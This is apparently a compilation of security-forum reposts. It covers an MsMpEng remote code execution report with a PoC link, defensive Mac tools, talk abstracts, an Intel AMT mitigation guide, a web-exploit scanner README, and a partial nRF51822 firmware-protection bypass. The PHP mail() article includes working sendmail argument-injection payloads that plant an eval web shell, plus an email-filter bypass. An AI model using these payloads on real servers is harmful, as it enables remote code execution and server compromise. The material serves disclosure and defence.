ObjectTable: bfb99640 HandleCount: 433. Image: MsMpEng.exe 3: kd> !token -n _EPROCESS 8805fd28, _TOKEN 00000000 TS Session ID: 0 User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) 3: kd> .lastevent Last event: Access violation - code c0000005 (first chance) debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00) 3: kd> r eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141 eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293 mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=???????? 3: kd> lmv mmpengine start end module name 68790000 6917a000 mpengine (export symbols) mpengine.dll Loaded symbol image file: mpengine.dll Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll Image name: mpengine.dll Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1) CheckSum: 00A1330D ImageSize: 009EA000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 3: kd> u mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] 001b:68b1f5f4 56 push esi 001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8] 001b:68b1f5f8 8bce mov ecx,esi 001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)] 001b:68b1f600 8bcf mov ecx,edi 001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address 001b:68b1f604 5e pop esi Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this. The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on. As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible. We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless). Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41975.zip Sursa: https://www.exploit-db.com/exploits/41975/

RansomWhere? download Let's try to generically thwart OS X ransomware via math! By continually monitoring the file-system for the creation of encrypted files by suspicious processes, RansomWhere? aims to protect your personal files, generically stopping ransomware in its tracks. compatibility: OS X 10.8+ current version: 1.2.0 (change log) zip's sha-1: e443ed8b67e548298cb86ccde293e24b1aa71e12 Interested in the background research and design of this tool? See the blog post; 'Towards Generic Ransomware Detection?' Also, as with any security tool, direct or proactive attempts to specifically bypass RansomWhere?'s protections will likely succeed. A concerted effort has been made to fully transparent about this, and to articulate the limitations of this tool. See the 'limitations' section below for more details. RansomWhere? is a utility with a simple goal; generically thwart OS X ransomware. It does so by identifying a commonality of essentially all ransomware; the creation of encrypted files. Generally speaking, ransomware encrypts personal files on your computer, then demands payment (the ransom) in order for you to decrypt your files. If you fail to pay up, and don't have backups of your files, they may be lost forever - that sucks! This tool attempts to generically prevent this, by detecting untrusted processes that are encrypting your personal files. Once such a process is detected, RansomWhere? will stop the process in its tracks and present an alert to the user. If this suspected ransomware, is indeed malicious, the user can terminate the process. On the other hand, if its simply a false positive, the user can allow the process to continue executing. More info: https://objective-see.com/products/ransomwhere.html

TaskExplorer » download Explore all the tasks (processes) running on your Mac with TaskExplorer. Quickly see a task's signature status, loaded dylibs, open files, network connection, and much more! compatibility: OS X 10.8+ current version: 1.6.0 (change log) zip's sha-1: 545ca559ebab0104868a872ff4d720820e7867fe TaskExplorer allows one to visually explore all running processes. Notable features of TaskExplorer include: Signing Status quickly view, (or filter) tasks that are signed by Apple, 3rd-parties, or are unsigned VirusTotal Integration detection ratios can reveal known malware, while unknown files can be submitted for analysis Loaded Dynamic Libraries for each task, view it's loaded dylibs Open Files view all files that a particular task has opened Network Connections see the network connection (and its details) created by a task Global Search quickly search to find specific items, or unsigned binaries, established network connections, and more! More info: https://objective-see.com/products/taskexplorer.html

OverSight » download Mac malware often spies on users by recording audio and video sessions...sometimes in an undetected manner. OverSight monitors a mac's mic and webcam, alerting the user when the internal mic is activated, or whenever a process accesses the webcam. compatibility: OS X 10.10+ current version: 1.1.2 (change log) zip's sha-1: 14b5099a578a6ace8de169a8f7f5b2f0d504dc40 One of the most insidious actions of malware, is abusing the audio and video capabilities of an infected host to record an unknowing user. Macs, of course, are not immune; malware such as OSX/FruitFly, OSX/Crisis, OSX/Mokes, and others, all attempt to spy on Mac users. OverSight constantly monitors a system, alerting a user whenever the internal microphone is activated, or the built-in webcam is accessed. And yes, while the webcam's LED will turn on whenever a session is initially started, new research has shown that malware can surreptitious piggyback into such existing sessions (FaceTime, Sykpe, Google Hangouts, etc.) and record both audio and video - without fear of detection. More info: https://objective-see.com/products/oversight.html

BSidesCharm 2017 T111 Microsoft Patch Analysis for Exploitation Stephen Sims

BSidesCharm 2017 T208 Detecting the Elusive Active Directory Threat Hunting Sean Metcalf

Publicat pe 3 mai 2017 Sergey Golovanov Igor Soumenkov Kaspersky Lab In 2016 Kaspersky Lab employees participated in incident response cases that took place in dozens of financial institutions around the globe. In most cases we had to provide forensics analysis of ATMs. When Carbanak attack details were announced at #TheSAS2015, criminals also found this information useful. Other criminal groups eagerly adopted the same TTPs. Banks started to suffer from attacks on ATMs including both, malware and physical access. These are: • Direct attacks on the peripherals and low-level hardware protocols • Hacker movie-style hardware drops in bank offices • Carbanak-like software attacks on ATM software layer • Bluetooth HID dongles implanted in ATMs instead of black boxes We will provide details about each of these cases and present a cheap and simple hardware design that (when applied with a bit of physical labor) can empty one of the most popular ATM models in the world. https://sas.kaspersky.com Twitter @KasperskySAS

Publicat pe 3 mai 2017 Mark Dowd Azimuth Security Memory safety vulnerabilities are everywhere: they appear in your favorite iPhone or Android jailbreak, your favorite malware kit, and your favorite Project Zero blog posts. The last 10 years has seen an explosive growth in technologies aimed at mitigating these vulnerabilities or eliminating them entirely. The traditional strategies employed to combat memory safety vulnerabilities have undergone significant refinement, and new technologies have also been created to thwart the latest and greatest exploitation techniques. But how effective are they? Are they having any impact? And what lies ahead in the battle for preventing wide- scale exploitation of memory corruption vulnerabilities? This presentation aims to answer these questions and more! https://sas.kaspersky.com Twitter @KasperskySAS

Publicat pe 10 aug. 2013 DEF CON is the world's largest hacking conference, held in Las Vegas, Nevada. In 2012 it was held for the 20th time. The conference has strict no-filming policies, but for DEF CON 20, a documentary crew was allowed full access to the event. The film follows the four days of the conference, the events and people (attendees and staff), and covers history and philosophy behind DEF CON's success and unique experience. Written by Jason Scott Like this? Leave feedback on IMDB: http://www.imdb.com/title/tt3010462/ Get involved with DEF CON: https://forum.defcon.org/ https://www.defcon.org/

Disabling Intel AMT on Windows (and a simpler CVE-2017-5689 Mitigation Guide) 2017-05-02 BY EDDIE BARCELLOS Completely and permanently (unless you re-install it) disable Intel Active Management Technology, Intel Small Business Technology, and Intel Standard Manageability on Windows. These are components of the Intel Management Engine firmware. This is especially relevant since a privilege escalation issue affecting Intel ME (CVE-2017-5689) was made public on May 1st. A patch for Linux is forthcoming. This vulnerability was discovered by Embedi. PS: words within ` ` are commands, you need to copy and paste these commands without the ` 1) Download the Intel Setup and Configuration Software (Intel SCS) and extract the files 2) Open up an administrator command prompt and navigate to where you extracted the files in step 1: run `cd Configurator` 3) In the command prompt, run `ACUConfig.exe UnConfigure`. If you get an error, try one of the options below: Unconfiguring a system in ACM without RCS integration: `ACUConfig.exe UnConfigure /AdminPassword <password> /Full` Unconfiguring a system with RCS integration: `ACUConfig.exe UnConfigure /RCSaddress <RCSaddress> /Full` 4) Still in the command prompt, disable and/or remove LMS (Intel Management and Security Application Local Management Service): `sc config LMS start=disabled` `sc delete LMS` also run `sc qc LMS`, which will either show you the path to LMS.exe or FAIL. If it shows you the path, use Explorer to delete it. If it FAILED, do not be concerned. 5) Reboot your computer. 6) Check if there is still a socket listening on the Intel ME Internet Assigned Names Authority (IANA) ports on the client: 16992, 16993, 16994, 16995, 623, and 664 (you can also do this before you start to verify it is listening. The Intel ME listens even if the Intel AMT GUI shows Intel ME is “Unconfigured”) in a command prompt (does not need to be elevated), run `netstat -na | findstr “\<16993\> \<16992\> \<16994\> \<16995\> \<623\> \<664\>”` 7) The Intel AMT GUI should now show “information unavailable on both remaining tabs” (you might have had 3 or more tabs before going thru the steps above) 8) Optionally, you can now delete LMS.exe. It is usually located in “C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS”. You could go further and use Add/Remove Programs to uninstall the AMT GUI, but then you will have a harder time in the future checking whether Intel AMT remains disabled. Voilá, you have gotten rid of the Intel AMT components. But the Intel ME co-processor is still running. Disabling the Intel Management Engine chip has long been a desired goal. If you can point to resources on disabling the Intel ME co-processor for chipsets Haswell and after, please comment below. If your computer has a chipset earlier than Haswell, you can try, at your own risk, these steps. Sursa: https://mattermedia.com/blog/disabling-intel-amt/

An authentication bypass vulnerability, which will be later known as CVE-2017-5689, was originally discovered in mid-February of 2017 while doing side-research on the internals of Intel ME firmware. The first objects of interest were network services and protocols. While studying the Intel AMT Implementation and Reference Guide we found out that various AMT features are available through the AMT Web-panel, which is supported by the integrated Web server, which listens to ports 16992 and 16993. Download: https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf

Why mail() is dangerous in PHP 3 May 2017 by Robin Peraglie During our advent of PHP application vulnerabilities, we reported a remote command execution vulnerability in the popular webmailer Roundcube (CVE-2016-9920). This vulnerability allowed a malicious user to execute arbitrary system commands on the targeted server by simply writing an email via the Roundcube interface. After we reported the vulnerability to the vendor and released our blog post, similar security vulnerabilities that base on PHP’s built-in mail()function popped up in other PHP applications 1 2 3 4. In this post, we have a look at the common ground of these vulnerabilities, which security patches are faulty, and how to use mail()securely. The PHP mail()-function PHP comes with the built-in function mail() for sending emails from a PHP application. The mail delivery can be configured by using the following five parameters. http://php.net/manual/en/function.mail.php bool mail( string $to, string $subject, string $message [, string $additional_headers [, string $additional_parameters ]] ) The first three parameters of this function are self-explanatory and less sensitive, as these are not affected by injection attacks. Still, be aware that if the to parameter can be controlled by the user, she can send spam emails to an arbitrary address. Email header injection The last two optional parameters are more concerning. The fourth parameter $additional_headers receives a string which is appended to the email header. Here, additional email headers can be specified, for example From: and Reply-To:. Since mail headers are separated by the CRLF newline character \r\n5, an attacker can use these characters to append additional email headers when user input is used unsanitized in the fourth parameter. This attack is known as Email Header Injection (or short Email Injection). It can be abused to send out multiple spam emails by adding several email addresses to an injected CC:or BCC: header. Note that some mail programs replace \n to \r\n automatically. Why the 5th parameter of mail() is extremely dangerous In order to use the mail() function in PHP, an email program or server has to be configured. The following two options can be used in the php.ini configuration file: Configure an SMTP server’s hostname and port to which PHP connects Configure the file path of a mail program that PHP uses as a Mail Transfer Agent (MTA) When PHP is configured with the second option, calls to the mail() function will result in the execution of the configured MTA program. Although PHP internally applies escapeshellcmd()to the program call which prevents an injection of new shell commands, the 5th argument $additional_parameters in mail() allows the addition of new program arguments to the MTA. Thus, an attacker can append program flags which in some MTA’s enables the creation of a file with user-controlled content. Vulnerable Code mail("myfriend@example.com", "subject", "message", "", "-f" . $_GET['from']); The code shown above is prone to a remote command execution that is easily overlooked. The GET parameter from is used unsanitized and allows an attacker to pass additional parameters to the mail program. For example, in sendmail, the parameter -O can be used to reconfigure sendmail options and the parameter -X specifies the location of a log file. Proof of Concept example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php The proof of concept will drop a PHP shell in the web directory of the application. This file contains log information that can be tainted with PHP code. Thus, an attacker is able to execute arbitrary PHP code on the web server when accessing the rce.php file. You can find more information on how to exploit this issue in our blog post and here. Latest related security vulnerabilities The 5th parameter is indeed used in a vulnerable way in many real-world applications. The following popular PHP applications were lately found to be affected, all by the same previously described security issue (mostly reported by Dawid Golunski). Application Version Reference Roundcube <= 1.2.2 CVE-2016-9920 MediaWiki < 1.29 Discussion PHPMailer <= 5.2.18 CVE-2016-10033 Zend Framework < 2.4.11 CVE-2016-10034 SwiftMailer <= 5.4.5-DEV CVE-2016-10074 SquirrelMail <= 1.4.23 CVE-2017-7692 Due to the integration of these affected libraries, other widely used applications, such as Wordpress, Joomla and Drupal, were partly affected as well. Why escapeshellarg() is not secure PHP offers escapeshellcmd() and escapeshellarg() to secure user input used in system commands or arguments. Intuitively, the following PHP statement looks secure and prevents a break out of the -param1 parameter: system(escapeshellcmd("./program -param1 ". escapeshellarg( $_GET['arg'] ))); However, against all instincts, this statement is insecure when the program has other exploitable parameters. An attacker can break out of the -param1 parameter by injecting "foobar' -param2 payload ". After both escapeshell* functions processed this input, the following string will reach the system() function. ./program -param1 'foobar'\\'' -param2 payload \' As it can be seen from the executed command, the two nested escaping functions confuse the quoting and allow to append another parameter param2. PHP’s function mail() internally uses the escapeshellcmd() function in order to secure against command injection attacks. This is exactly why escapeshellarg() does not prevent the attack when used for the 5th parameter of mail(). The developers of Roundcube and PHPMailer implemented this faulty patch at first. Why FILTER_VALIDATE_EMAIL is not secure Another intuitive approach is to use PHP’s email filter in order to ensure that only a valid email address is used in the 5th parameter of mail(). filter_var($email, FILTER_VALIDATE_EMAIL) However, not all characters that are necessary to exploit the security issue in mail() are forbidden by this filter. It allows the usage of escaped whitespaces nested in double quotes. Due to the nature of the underlying regular expression it is possible to overlap single and double quotes and trick filter_var() into thinking we are inside of double quotes, although mail()s internal escapeshellcmd() thinks we are not. 'a."'\ -OQueueDirectory=\%0D<?=eval($_GET[c])?>\ -X/var/www/html/"@a.php For the here given url-encoded input, the filter_var() function returns true and rates the payload as a valid email address. This has a critical impact when using this function as a sole security measure: Similar as in our original attack, our malicious "email address" would cause sendmail to print the following error into our newly generated shell "@a.php in our webroot. <?=eval($_GET[c])?>\/): No such file or directory Remember that filter_var() is not appropriate to be used for user-input sanitization and was never designed for such cases, as it is too loose regarding several characters. How to use mail() securely Carefully analyze the arguments of each call to mail() in your application for the following conditions: Argument (to): Unless intended, no user input is used directly Argument (subject): Safe to use Argument (message): Safe to use Argument (headers): All \r and \n characters are stripped Argument (parameters): No user input is used In fact, there is no guaranteed safe way to use user-supplied data on shell commands and you should not try your luck. In case your application does require user input in the 5th argument, a restrictive email filter can be applied that limits any input to a minimal set of characters, even though it breaks RFC compliance. We recommend to not trust any escaping or quoting routine as history has shown these functions can or will be broken, especially when used in different environments. An alternative approach is developed by Paul Buonopane and can be found here. Summary Many PHP applications send emails to their users, for example reminders and notifications. While email header injections are widely known, a remote command execution vulnerability is rarely considered when using mail(). In this post, we have highlighted the risks of the 5th mail() parameter and how to protect against attacks that can result in full server compromise. Make sure your application uses this built-in function safely! https://phabricator.wikimedia.org/T152717 [return] https://framework.zend.com/security/advisory/ZF2016-04 [return] http://seclists.org/fulldisclosure/2017/Apr/86 [return] https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt [return] http://www.ietf.org/rfc/rfc822.txt [return] Sursa: https://www.ripstech.com/blog/2017/why-mail-is-dangerous-in-php/

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application (and NPM module) used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the application will generate a list of files that are potentially infected together with a description of the infection and references to online resources relating to it. As of version 1.1.0 the application also includes utilities to generate and compare snapshots of a directory structure, allowing users to see if any files have been modified, added or removed. The application is hosted here on GitHub so that others can benefit from it, as well as allowing others to contribute their own detection rules. Links My website: https://www.polaris64.net/ My cybersecurity blog, which contains articles describing some of these exploits and how to remove them: https://www.polaris64.net/blog/cyber-security Contact me NPM module Installation Regular users The simplest way to install Web Exploit Detector is as a global NPM module: - npm install -g web_exploit_detector If you are running Linux or another Unix-based OS you might need to run this command as root (e.g. sudo npm install -g web_exploit_detector). Updating The module should be updated regularly to make sure that all of the latest detection rules are present. Running the above command will always download the latest stable (tested) version. To update a version that has already been installed, simply run the following: - npm update -g web_exploit_detector Again, you may have to use the sudo command as above. Technical users You can also clone the Git repository and run the script directly like so: - git clone https://github.com/polaris64/web_exploit_detector cd web_exploit_detector npm install Running From NPM module If you have installed Web Exploit Detector as an NPM module (see above) then running the scanner is as simple as running the following command, passing in the path to your webroot (location of your website files): - wed-scanner --webroot=/var/www/html Other command-line options are available, simply run wed-scanner --help to see a help message describing them. Running the script in this way will produce human-readable output to the console. This is very useful when running the script with cron for example as the output can be sent as an e-mail whenever the script runs. The script also supports the writing of results to a more computer-friendly JSON format for later processing. To enable this output, see the --output command line argument. From cloned Git repository Simply call the script via node and pass the path to your webroot as follows: - node index.js --webroot=/var/www/html Recursive directory snapshots The Web Exploit Detector also comes with two utilities to help to identify files that might have changed unexpectedly. A successful attack on a site usually involves deleting files, adding new files or changing existing files in some way. Snapshots A snapshot (as used by these utilities) is a JSON file which lists all files as well as a description of their contents at the point in which the snapshot was created. If a snapshot was generated on Monday, for example, and then the site was attacked on Tuesday, then running a comparison between this snapshot and the current site files afterwards will show that one or more files were added, deleted or changed. The goal of these utilities therefore is to allow these snapshots to be created and for the comparisons to be performed when required. The snapshot stores each file path together with a SHA-256 hash of the file contents. A hash, or digest, is a small summary of a message, which in this case is the file's contents. If the file contents change, even in a very small way, the hash will become completely different. This provides a good way of detecting any changes to file contents. Usage The following two utilities are also installed as part of Web Exploit Detector: - wed-generate-snapshot: this utility allows a snapshot to be generated for all files (recursively) in a directory specified by "--webroot". The snapshot will be saved to a file specified in the "--output" option. wed-compare-snapshot: once a snapshot has been generated it can be compared against the current contents of the same directory. The snapshot to check is specified using the "--snapshot" option. The base directory to check against is stored within the snapshot, but if the base directory has changed since the snapshot was generated then the --webroot option can be used. Workflow Snapshots can be generated as frequently as required, but as a general rule of thumb they should be generated whenever a site is in a clean (non-infected) state and whenever a legitimate change has been made. For CMS-based sites like WordPress, snapshots should be created regularly as new uploads will cause the new state to change from the stored snapshot. For sites whose files should never change, a single snapshot can be generated and then used indefinitely ensure nothing actually does change. Usage as a module The src/web-exploit-detector.js script is an ES6 module that exports the set of rules as rules as well as a number of functions: - executeTests(settings): runs the exploit checker based on the passed settings object. For usage, please consult the index.js script. formatResult(result): takes a single test result from the array returned from executeTests() and generates a string of results ready for output for that test. getFileList(path): returns an array of files from the base path using readDirRecursive(). processRulesOnFile(file, rules): processes all rules from the array rules on a single file (string path). readDirRecursive(path): recursive function which returns a Promise which will be resolved with an array of all files in path and sub-directories. The src/cli.js script is a simple command-line interface (CLI) to this module as used by the wed-scanner script, so reading this script shows one way in which this module can be used. The project uses Babel to compile the ES6 modules in "src" to plain JavaScript modules in "lib". If you are running an older version of Node.js then modules can be require()'d from the "lib" directory instead. Building The package contains Babel as a dev-dependency and the "build" and "watch:build" scripts. When running the "build" script (npm run build), the ES6 modules in "./src" will be compiled and saved to "./lib", where they are included by the CLI scripts. The "./lib" directory is included in the repository so that any user can clone the repository and run the application directly without having to install dev-dependencies and build the application. Excluding results per rule Sometimes rules, especially those tagged with suspicion, will identify a clean file as a potential exploit. Because of this, a system to allow files to be excluded from being checked for a rule is also included. The wed-results-to-exceptions script takes an output file from the main detector script (see the --output option) and gives you the choice to exclude each file in turn for each specific rule. All excluded files are stored in a file called wed-exceptions.json (in the user's home directory) which is read by the main script before running the scan. If a file is listed in this file then all attached rules (by ID) will be skipped when checking this file. For usage instructions, simply run wed-results-to-exceptions. You will need to have a valid output JSON from a previous run of the main detector first using the --output option. For users working directly with the Git repository, run node results_to_exceptions.js in the project root directory. Rule engine The application operates using a collection of "rules" which are loaded when the application is run. Each rule consists of an ID, name, description, list of URLs, tags, deprecation flag and most importantly a set of tests. Each individual test must be one of the following: - A regular expression: the simplest type of test, any value matching the regex will pass the test. A Boolean callback: the callback function must return a Boolean value indicating if the value passes the test. The callback is free to perform any synchronous operations. A Promise callback: the callback function must return a Promise which is resolved with a Boolean value indicating if the value passes the test. This type of callback is free to perform any asynchronous operations. The following test types are supported: - "path": used to check the file path. This test must exist and should evaluate to true if the file path is considered to match the rule. "content": used to check the contents of a file. This test is optional and file contents will only be read and sent to rules that implement this test type. When this test is a function, the content (string) will be passed as the first argument and the file path will be passed as the second argument, allowing the test to perform additional file operations. Expanding on the rules As web-based exploits are constantly evolving and new exploits are being created, the set of rules need to be updated too. As I host a number of websites I am constantly observing new kinds of exploits, so I will be adding to the set of rules whenever I can. I run this tool on my own servers, so of course I want it to be as functional as possible! This brings me onto the reasons why I have made this application available as an open-source project: firstly so that you and others can benefit from it and secondly so that we can all collaborate to contribute detection rules so that the application is always up to date. Contributing rules If you have discovered an exploit that is not detected by this tool then please either contact me to let me know or even better, write your own rule and add it to the third-party rule-set (rules/third-party/index.js), then send me a pull request. Don't worry if you don't know how to write your own rules; the most important thing is that the rule gets added, so feel free to send me as much information as you can about the exploit and I will try to create my own rule for it. Rules are categorised, but the simplest way to add your own rule is to add it to the third-party rule-set mentioned above. Rule IDs are written in the following format: "author:type:sub-type(s):rule-id". For example, one of my own rules is "P64:php:cms:wordpress:wso_webshell". "P64" is me (the author), "php:cms:wordpress" is the grouping (a PHP-specific rule, for the Content Management System (CMS) called WordPress) and "wso_webshell" is the specific rule ID. When writing your own rules, try to follow this format, and replace "P64" with your own GitHub username or other unique ID. Unit tests and linting The project contains a set of Jasmine tests which can be run using npm test. It also contains an ESLint configuration, and ESLint can be run using npm run lint. When developing, tests can also be run whenever a source file changes by running npm run watch:test. To run tests and ESLint, the npm run watch:all script can be used. Please note that unless you already have Jasmine and/or nodemon installed, you should run npm install in non-production mode to ensure that the dev-dependencies are installed. Credits Thanks to the Reddit user mayupvoterandomly for suggesting the directory snapshot functionality that was added in 1.1.0 and for suggesting new rules that will be added soon. License ISC License Copyright (c) 2017, Simon Pugnet Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. Sursa: https://github.com/polaris64/web_exploit_detector

Firmware dumping technique for an ARM Cortex-M0 SoC by Kris Brosch One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code. Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations. This blog post is a discussion of a new technique that we've created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip's security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post. The SoC The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip's manual is available here. Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822's code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn't provide such a feature to developers; it just disables memory accesses through the debugging interface. The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port. This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD. Exploring the Debugger Access Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > mdw 0x00000000 0x00000000: 00000000 > mdw 0x000114cc 10 0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0x000114ec: 00000000 00000000 We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don't know what instructions, since we can't read them): > reg r0 0x12345678 r0 (/32): 0x12345678 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg pc 0x00011500 pc (/32): 0x00011500 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0 We can also read a few of the memory-mapped configuration registers. Here we are reading a register named "RBPCONF" (short for readback protection) in a collection of registers named "UICR" (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual: > mdw 0x10001004 0x10001004: ffff00ff According to the manual, a value of 0xffff00ff in the RBPCONF register means "Protect all" (PALL) is enabled (bits 15..8, labeled "B" in this table, are set to 0), and "Protect region 0" (PR0) is disabled (bits 7..0, labeled "A", are set to1): The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros. The other protection feature, PR0, is not enabled in this case, but it's worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region. Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU. Devising a Protection Bypass An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don't have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won't work if either PALL or PR0 is enabled. To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We'll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we've found such an instruction, we can exploit it to read out all of the firmware. Finding a Load Instruction Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can't read the flash, we don't know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example. We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we're interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction. We might as well start at the reset vector - at least we know there are valid instructions there. Here we're resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we're trying), and single stepping, then examining the registers: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > reg r0 0x00000000 r0 (/32): 0x00000000 > reg r1 0x00000000 r1 (/32): 0x00000000 > reg r2 0x00000000 r2 (/32): 0x00000000 > reg r3 0x00000000 r3 (/32): 0x00000000 > reg r4 0x00000000 r4 (/32): 0x00000000 > reg r5 0x00000000 r5 (/32): 0x00000000 > reg r6 0x00000000 r6 (/32): 0x00000000 > reg r7 0x00000000 r7 (/32): 0x00000000 > reg r8 0x00000000 r8 (/32): 0x00000000 > reg r9 0x00000000 r9 (/32): 0x00000000 > reg r10 0x00000000 r10 (/32): 0x00000000 > reg r11 0x00000000 r11 (/32): 0x00000000 > reg r12 0x00000000 r12 (/32): 0x00000000 > reg sp 0x00000000 sp (/32): 0x00000000 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000 > reg ===== arm v7m registers (0) r0 (/32): 0x00000000 (1) r1 (/32): 0x00000000 (2) r2 (/32): 0x00000000 (3) r3 (/32): 0x10001014 (4) r4 (/32): 0x00000000 (5) r5 (/32): 0x00000000 (6) r6 (/32): 0x00000000 (7) r7 (/32): 0x00000000 (8) r8 (/32): 0x00000000 (9) r9 (/32): 0x00000000 (10) r10 (/32): 0x00000000 